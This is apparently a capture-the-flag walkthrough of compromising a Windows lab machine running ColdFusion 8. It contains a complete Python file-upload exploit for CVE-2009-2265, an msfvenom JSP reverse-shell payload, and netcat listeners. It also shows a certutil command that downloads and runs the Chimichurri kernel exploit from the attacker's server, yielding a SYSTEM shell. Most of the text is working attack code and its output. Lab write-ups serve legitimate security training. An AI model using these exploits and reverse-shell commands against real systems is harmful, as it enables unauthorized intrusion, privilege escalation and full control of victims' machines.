```
└──╼ [★]$ ping 10.129.38.46

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.38.46
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

browse http://10.129.38.46:8500/
then http://10.129.38.46:8500/CFIDE/administrator/
brings up to ColdFusion login page for

search for coldfusion in Exploitdb gives :
Adobe ColdFusion 2018 - Arbitrary File Upload

create payload :

└──╼ [★]$ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.80 lport=1344 -f raw > exploit.jsp
Payload size: 1497 bytes

create PoC

└──╼ [★]$ nano coldfusion.py
#!/usr/bin/python
# Exploit Title: ColdFusion 8.0.1 - Arbitrary File Upload
# Date: 2017-10-16
# Exploit Author: Alexander Reid
# Vendor Homepage: http://www.adobe.com/products/coldfusion-family.html
# Version: ColdFusion 8.0.1
# CVE: CVE-2009-2265
#
# Description:
# A standalone proof of concept that demonstrates an arbitrary file upload vulnerability in
ColdFusion 8.0.1
# Uploads the specified jsp file to the remote server.
#
# Usage: ./exploit.py <target ip> <target port> [/path/to/coldfusion] </path/to/payload.jsp>
# Example: ./exploit.py 127.0.0.1 8500 /home/arrexel/shell.jsp
import requests, sys

try:
    ip = sys.argv[1]
    port = sys.argv[2]
    if len(sys.argv) == 5:
        path = sys.argv[3]
        with open(sys.argv[4], 'r') as payload:
            body=payload.read()
    else:
        path = ""
        with open(sys.argv[3], 'r') as payload:
            body=payload.read()
except IndexError:
    print 'Usage: ./exploit.py <target ip/hostname> <target port> [/path/to/coldfusion]
</path/to/payload.jsp>'
    print 'Example: ./exploit.py example.com 8500 /home/arrexel/shell.jsp'
    sys.exit(-1)

basepath = "http://" + ip + ":" + port + path

print 'Sending payload...'

try:
    req = requests.post(basepath +
"/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?
Command=FileUpload&Type=File&CurrentFolder=/exploit.jsp%00", files={'newfile': ('exploit.txt',
body, 'application/x-java-archive')}, timeout=30)
    if req.status_code == 200:
        print 'Successfully uploaded payload!\nFind it at ' + basepath +
'/userfiles/file/exploit.jsp'
    else:
        print 'Failed to upload payload... ' + str(req.status_code) + ' ' + req.reason
except requests.Timeout:
    print 'Failed to upload payload... Request timed out'
```

```
└──╼ [★]$ chmod +x coldfusion.py

└──╼ [★]$ ./coldfusion.py 10.129.38.46 8500 ./exploit.jsp
Sending payload...
Successfully uploaded payload!
Find it at http://10.129.38.46:8500/userfiles/file/exploit.jsp

└──╼ [★]$ nc -nvlp 1344
listening on [any] 1344 ...

browse to http://10.129.38.46:8500/userfiles/file/exploit.jsp

then

└──╼ [★]$ nc -nvlp 1344
listening on [any] 1344 ...
connect to [10.10.14.80] from (UNKNOWN) [10.129.38.46] 49424
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ColdFusion8\runtime\bin>

navigate to :

C:\Users\tolis\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F88F-4EA5

 Directory of C:\Users\tolis\Desktop

22/03/2017  09:00 ??    <DIR>          .
22/03/2017  09:00 ??    <DIR>          ..
22/03/2017  09:01 ??                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  33.192.067.072 bytes free

C:\Users\tolis\Desktop>type user.txt
type user.txt
02650d3a69a7********************


==================================================

Priv Escalation

Google search revealed github page that offers a pre-compiled binary called Chimichurri for the
exploitation.
https://github.com/egre55/windows-kernel-exploits

download it, ignore the warnings


Make sure that the web-server is running.

└──╼ [★]$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...


We now need to download this binary on the arctic box. I used certutil utility to download this
file.

C:\ColdFusion8\runtime\bin>certutil.exe -urlcache -split -f
"http://10.10.14.80:7777/Chimichurri.exe
certutil.exe -urlcache -split -f "http://10.10.14.80:7777/Chimichurri.exe
****  Online  ****
  000000  ...
  0bf800
CertUtil: -URLCache command completed successfully.


The web-server traces on the attack machine conformed the file downloaded.
```

```
└──╼ [★]$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
10.129.72.224 - - [31/Dec/2020 15:08:56] "GET /Chimichurri.exe HTTP/1.1" 200 -
10.129.72.224 - - [31/Dec/2020 15:08:56] "GET /Chimichurri.exe HTTP/1.1" 200 -
```

Of course, we also need to launch a listener on different port also. This time I launched it on port 6666.

```
└──╼ [★]$ nc -nlvp 6666
listening on [any] 6666 ...
```

Let’s launch the downloaded binary on the victim arctic box providing the IP address of attacks machine and the listening port.

```
C:\ColdFusion8\runtime\bin>Chimichurri.exe 10.10.14.80 6666
Chimichurri.exe 10.10.14.80 6666
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry
values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse
shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
```

That gave us the root-level access:

```
connect to [10.10.14.80] from (UNKNOWN) [10.129.72.224] 49376
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ColdFusion8\runtime\bin>getuid
getuid
'getuid' is not recognized as an internal or external command,
operable program or batch file.

C:\ColdFusion8\runtime\bin>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
type root.txt
ce65ceee66b2**********
```